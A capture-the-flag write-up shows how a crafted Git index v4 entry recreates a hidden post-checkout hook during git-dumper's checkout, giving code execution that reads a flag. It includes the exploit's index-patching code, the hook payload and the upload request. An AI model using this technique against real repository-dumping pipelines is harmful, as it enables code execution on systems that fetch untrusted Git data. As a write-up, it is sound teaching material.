$ cat writeup.md…
$ cat writeup.md…
b01lersc
Task: a Flask upload feature lets authenticated users place files inside a temporary Git repository that is later served and re-dumped with git-dumper. Solution: inject a crafted Git index v4 plus a loose object so `git checkout .` recreates and executes a hidden post-checkout hook, which writes the real flag to flag.txt.
Upload a repo artifact and inspect extraction output.
The challenge gives source for a Flask app with a "Clanker Feature" upload endpoint. After login, a user may upload up to two files, the server places them into /tmp/git_storage, sanitizes the directory, exposes it with python3 -m http.server, and then runs git-dumper to reconstruct the repository into /tmp/dump.
The goal is to turn that pipeline into code execution so the app itself writes the real flag into /tmp/dump/flag.txt, which is later read and shown in the response.
The exploit chain is:
/tmp/git_storage, including .git/index and loose objects under .git/objects/.git-dumper recursively download the exposed /.git/ directory.git checkout . recreate .git/hooks/post-checkout from a malicious index entry and execute it./usr/local/bin/read-flag > flag.txt, so the application reads back the real flag.The only real obstacle is the source-side sanitizer: it deletes any file whose raw bytes contain lowercase git. A plain .git/hooks/post-checkout index entry is therefore removed before the repo is served. The bypass is to use Git index version 4 pathname compression so Git reconstructs .git/hooks/post-checkout during parsing even though the uploaded raw index bytes never contain the contiguous substring git.
/register simply inserts a new username/password pair into an in-memory dictionary and logs us in immediately:
elif username in USERS: error = "Username already exists." else: USERS[username] = password session["username"] = username return redirect(url_for("listing"))
So the exploit begins by registering a fresh random account.
The upload handler joins the provided filename onto WORKDIR = "/tmp/git_storage" and only checks that the normalized path still starts with that directory:
file_path = os.path.join(WORKDIR, file.filename) normalized_path = os.path.abspath(file_path) if not normalized_path.startswith(WORKDIR + os.sep): ... os.makedirs(os.path.dirname(normalized_path), exist_ok=True) file.save(normalized_path)
That blocks ../ traversal out of the tree, but it still allows arbitrary writes anywhere inside /tmp/git_storage, including .git/index and .git/objects/<xx>/<yy...>.
setup_git_storage() initializes a Git repo, commits current contents, writes a fake flag into flag.txt, then commits again:
run_command("git init .") run_command("git add . && git commit -m 'Initial commit'", ignored_errors=True) flag = "bctf{steal_" + secrets.token_hex(16) + "}" run_command(f" echo '{flag}'> flag.txt") run_command("git add .") run_command("git commit -m 'ctf is so easy'")
Then the handler calls:
sanitize() pid = quickie_server(WORKDIR) run_command("git-dumper http://localhost:12345 /tmp/dump")
Finally it reads /tmp/dump/flag.txt and returns it to the user.
git-dumper performs the dangerous checkout stepIn the bundled git_dumper.py, after downloading the repository and sanitizing only selected config directives, it runs:
sanitize_file(".git/config") subprocess.call(["git", "checkout", "."], ...)
sanitize_file() comments out only a few unsafe config keys:
UNSAFE=r"^\s*fsmonitor|sshcommand|askpass|editor|pager"
It does not neutralize hooks. So if checkout materializes .git/hooks/post-checkout, Git will execute it.
The challenge has several defensive steps, but none actually closes the relevant path.
sanitize() removes some obvious Git administration paths:
run_command("rm .git/config") run_command("touch .git/config") run_command("rm -rf .git/hooks") run_command("rm -rf .git/commondir") run_command("rm -rf .git/info") run_command(r"grep -rlZ 'git' . | xargs -0 rm -f --")
This looks strong, but it reasons about raw file contents, not Git's parsed semantics. A malicious index can encode a dangerous path without literally containing the bytes git next to each other.
git-dumper only comments out suspicious lines in .git/config. That helps against config-based command execution, but the eventual git checkout . still trusts the downloaded index and objects. If checkout recreates a hook under .git/hooks/, Git itself executes it.
Only two uploaded files are allowed, but that is sufficient:
.git/indexNo third file is needed.
The key idea is to let Git reconstruct .git/hooks/post-checkout from compressed pathname data rather than storing that full dangerous string literally in the uploaded file.
The exploit script first creates a normal repo locally and inserts three index entries pointing at the same blob object:
.gis.giu/hooks/post-checkoutflag.txtThen it upgrades the index to version 4 and patches the compressed suffix bytes so the second path decodes as .git/hooks/post-checkout instead of .giu/hooks/post-checkout.
Core patch logic:
SAFE_PREFIX = ".gis" PLACEHOLDER = ".giu/hooks/post-checkout" HOOK_PATH = ".git/hooks/post-checkout" run(["git", "update-index", "--add", "--cacheinfo", f"100644,{sha},{SAFE_PREFIX}"], repo) run(["git", "update-index", "--add", "--cacheinfo", f"100755,{sha},{PLACEHOLDER}"], repo) run(["git", "update-index", "--add", "--cacheinfo", f"100644,{sha},flag.txt"], repo) run(["git", "update-index", "--index-version", "4"], repo) index = bytearray(index_path.read_bytes()) old = b"u/hooks/post-checkout\x00" new = b"t/hooks/post-checkout\x00" pos = index.find(old) index[pos:pos + len(old)] = new index[-20:] = hashlib.sha1(index[:-20]).digest() if b"git" in index: raise RuntimeError("index still contains forbidden substring 'git'")
At a high level, version 4 pathname compression stores one path relative to the previous entry. By controlling the previous safe path and then editing the compressed suffix, Git reconstructs the hidden .git/... path during parsing even though the raw bytes uploaded to the server never contain lowercase git contiguously.
The hook payload is tiny:
#!/bin/sh /usr/local/bin/read-flag > flag.txt
The Dockerfile shows why this works:
RUN chown root:web /usr/local/bin/read-flag && \ chmod 4750 /usr/local/bin/read-flag
The Flask app runs as user web, so the SUID helper can read /flag.txt and print it. Redirecting its output to flag.txt places the real flag exactly where the application later expects to find it.
The full exploit uploads two files after registration:
files = [ ("file", (".git/index", index_bytes, "application/octet-stream")), ("file", (f".git/objects/{sha[:2]}/{sha[2:]}", obj_bytes, "application/octet-stream")), ] r = s.post(f"{base_url.rstrip('/')}/clanker-feature", files=files, timeout=30)
Why flag.txt also appears in the index: git-dumper ends with git checkout ., so the pathspec is .. Including a normal worktree path such as flag.txt ensures checkout has a matching tracked path to restore and proceeds through the update process that also recreates the hidden hook.
Local validation matched the intended chain exactly. Against the provided Docker image, the exploit returned the embedded local flag:
bctf{kill_bill_2}
The same exploit worked unchanged against the remote service:
.git/index and matching loose object.post-checkout hook runs and writes the real flag into /tmp/dump/flag.txt.git checkout . is equivalent to running attacker-controlled logic..git/config does not help if hooks can be recreated from the index itself.$ cat /etc/motd
Liked this one?
Pro unlocks every writeup, every flag, and API access. $9/mo.
$ cat pricing.md$ grep --similar